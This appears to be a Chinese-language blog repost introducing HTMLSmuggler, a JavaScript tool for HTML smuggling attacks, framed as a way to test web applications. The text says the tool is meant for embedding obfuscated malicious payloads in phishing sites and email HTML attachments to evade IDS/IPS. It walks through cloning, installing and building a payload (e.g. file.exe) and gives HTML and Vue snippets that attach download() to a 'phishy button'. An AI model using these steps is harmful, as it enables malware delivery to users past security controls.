如何使用HTMLSmuggler测试你的Web应用能否抵御HTML Smuggling攻击

2023-11-11 13:57:15 浏览数 (1)

关于HTMLSmuggler

HTMLSmuggler是一款功能强大的HTML Smuggling攻击测试工具,该工具可以通过HTML Smuggling技术来测试你的Web应用程序是否足够安全。该工具基于JavaScript开发,它所生成的JavaScript Payload可以实现IDS绕过,并通过HTML Smuggling技术向目标站点发送测试Payload。

HTML Smuggling的主要目的是通过将恶意Payload伪装成看似无害的HTML和JavaScript代码,并绕过网络安全控制,如防火墙和入侵检测系统。接下来,通过利用web应用程序的动态特性,攻击者可以在不触发安全警报或被传统安全机制检测到的情况下将恶意内容传递到用户的浏览器。

HTMLSmuggler工具旨在创建一个嵌入了用户自定义的恶意Payload的独立JavaScript库,这个代码库可以整合到你的网络钓鱼网站/邮件HTML附件中,以实现IDShe IPS系统绕过,最终将嵌入式Payload发送至目标系统。

HTML Smuggling技术

HTML Smuggling,即HTML走私。HTML走私是指,浏览器根据HTML文件的内容在主机上创建恶意文件,而不是直接转发/下载恶意软件的一种技术。HTML走私可以通过在HTML页面中将恶意文件隐藏为编码后的“string”来绕过外部安全性检查和在线检测。

大多数周边/在线安全检测方法都是通过匹配文件中的某些特定模式。但在HTML走私的情况下,恶意文件被嵌在浏览器中,所以检测这样隐藏的代码是困难的。而且由于代码中的混淆,甚至检测HTML走私这种情况本身也很困难。

功能介绍

1、内置高度可配置的JavaScript模糊处理程序,可完全隐藏你的Payload; 2、既可以作为独立的JS库使用,也可以嵌入React、Vue.JS等JavaScript框架中; 3、支持自定义添加额外的数据处理、压缩或模糊处理方法;

工具安装

首先,我们需要点击【https://classic.yarnpkg.com/lang/en/docs/install/】下载和安装yarn包管理器。

接下来,广大研究人员可以运行下列命令将该项目源码克隆至本地:

代码语言:javascript复制


git clone https://github.com/D00Movenok/HTMLSmuggler.git

切换到项目目录中,然后运行下列命令安装依赖组件:

代码语言:javascript复制


cd HTMLSmuggler

yarn

下列命令可以查看工具帮助选项:

代码语言:javascript复制
代码语言:javascript复制
yarn build -h
Options:

  -p, --payload <string>    需要走私的Payload文件路径

  -n, --name <string>      需要下载的文件名称

  -t, --type <string>       下载文件的Contet-Type (默认: "application/octet-stream")

  -f, --function <string>    导出函数的名称 (默认: "download")

  -c, --compress          启用Payload压缩 (gzip)

  -h, --help               显示工具命令帮助信息
代码语言:javascript复制

工具使用

准备步骤

首先,我们需要修改obfuscator.js中的javascript-obfuscator选项,或者你也可以直接使用项目提供的设置。

然后运行下列命令编译你的JavaScript Payload:

代码语言:javascript复制
代码语言:javascript复制
yarn build -p /path/to/payload -n file.exe -t "application/octet-stream" -c
代码语言:javascript复制

接下来,在dist/payload.esm.js或dist/payload.umd.js路径下找到你的Payload,你可以将其嵌入到你的Web页面中,或使用download()函数调用Payload。

其中:

payload.esm.js:该脚本要通过import { download } from 'payload.esm';导入使用。 payload.umd.js:该脚本在HTML脚本 src中使用,要通过require('payload.umd');导入。

纯HTML样例

完成准备步骤之后,将创建好的脚本导入到HTML文件中:

代码语言:javascript复制


<head>

  <script src="payload.umd.js"></script>

</head>

在<body>中调用download()函数:

代码语言:javascript复制


<body>

  <button onclick="download()">Some phishy button</button>

</body>

搞定!

VueJS样例

完成准备步骤之后,将创建好的脚本导入到Vue文件中:

代码语言:javascript复制


<script>

  import { download } from './payload.esm';
  
</script>

调用download()函数:

代码语言:javascript复制


<template>

  <button @click="download()">Some phishy button</button>

</template>

搞定!

许可证协议

本项目的开发与发布遵循MIT开源许可证协议。

项目地址

HTMLSmuggler:https://github.com/D00Movenok/HTMLSmuggler

0 人点赞